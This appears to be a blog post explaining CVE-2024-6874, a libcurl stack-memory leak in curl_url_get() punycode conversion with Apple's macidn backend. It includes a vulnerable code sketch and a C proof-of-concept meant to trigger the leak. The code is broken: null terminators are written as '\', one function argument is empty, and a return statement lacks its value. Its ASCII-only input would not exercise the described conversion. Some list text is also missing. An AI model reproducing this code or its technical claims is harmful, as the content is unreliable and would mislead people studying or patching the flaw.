CVE-2024-6874 - libcurl’s Buffer Overflow in curl_url_get() Punycode Conversion

A newly disclosed security issue, CVE-2024-6874, impacts libcurl’s handling of Internationalized Domain Names (IDNs) when using the curl_url_get() API function. If you’re using libcurl with the *macidn* backend on macOS, this one is for you—a buffer overflow bug could accidentally leak your program's stack memory.

Let’s break down the flaw, how it works, how serious it is, and what you can do about it.

What is curl_url_get()?

curl_url_get() is a function in the libcurl library (version 7.80.+) that helps extract segments of a parsed URL, returning components such as host, scheme, or path. It also supports converting domains:

From punycode: Decoding back to Unicode.

This is especially relevant for non-English domain names.

The Vulnerability in a Nutshell

When the *macidn* backend (Apple’s built-in IDN support) is used, if you give curl_url_get() a hostname that is exactly 256 bytes in length, the backend fills an internal buffer completely without adding a null terminator at the end.

In C, strings should always end with a \ character (null byte), so functions know where the string stops. Without this, reading the string may continue past the buffer and leak whatever junk is next on the stack, which could include sensitive data like passwords, cookies, or even program secrets.

Why 256?

Because the stack buffer in the punycode conversion is 256 bytes. By supplying input of just the right length, we overflow the buffer and get a string that doesn't end.

Here’s a simplified look at the code logic

char puny_buffer[256];

// User supplies a 256-byte IDN name.
const char *input = /* 256 bytes Unicode string */;

// Converts input to punycode, fills the buffer completely
macidn_to_ascii(input, puny_buffer, sizeof(puny_buffer));

// Missing this line:
puny_buffer[255] = '\';  // Not enforced by macidn!

// The string returned to the user *might* keep reading
// past buffer boundary into the stack, exposing secrets!
return strdup(puny_buffer);

If puny_buffer is later used as a string (as almost always is the case in C), the read continues until a null byte is found—possibly several bytes beyond the buffer you control.

Real-World Exploit Scenario

A malicious attacker could craft a 256-byte-long IDN and trigger a curl-based client (or server) to process it.

If the stack has confidential data near puny_buffer, it gets returned and could—if logged, echoed, or sent back over the network—be leaked to the attacker.

Here’s a demonstration (assuming you have a custom libcurl build with the *macidn* backend)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

int main(void) {
    CURLU *urlp = curl_url();
    CURLcode rc;

    // Language-agnostic way: 256-byte domain.
    char huge_idn[257] = {};
    memset(huge_idn, 'a', 256); // Fills with 'a', 256 times

    rc = curl_url_set(urlp, CURLUPART_HOST, huge_idn, );
    if(rc) {
        printf("url_set failed: %s\n", curl_url_strerror(rc));
        curl_url_cleanup(urlp);
        return 1;
    }

    char *punycode = NULL;
    rc = curl_url_get(urlp, CURLUPART_HOST, &punycode, CURLU_URLENCODE);
    if(!rc) {
        printf("Punycode: [%s]\n", punycode); // This MAY leak stack data!
        curl_free(punycode);
    } else {
        printf("Punycode conversion failed: %s\n", curl_url_strerror(rc));
    }

    curl_url_cleanup(urlp);
    return ;
}

What Might Happen

- punycode returned may contain actual stack memory after the legitimate string, up to the next null byte.

What leaks: Stack memory from the caller. This could include secrets depending on program flow.

This vulnerability does NOT allow code execution, but it can leak memory (information disclosure).

Mitigation & Patches

- Update libcurl! As soon as a patched version is out (see curl’s advisories), upgrade.

The official curl announcement

- CVE-2024-6874 Advisory

Patch commit (when available)

- curl GitHub

Small off-by-one bugs in C, especially with null terminators, can have big consequences.

- Even safe-looking APIs like curl_url_get() can hide subtle bugs, especially around legacy tech like IDNs.

References

- Official curl curl_url_get() docs
- curl security advisories
- CVE record at MITRE (may be slow to appear)


*This post is licensed under CC. Please link if sharing.*

Timeline

Published on: 07/24/2024 08:15:03 UTC
Last modified on: 08/01/2024 14:00:45 UTC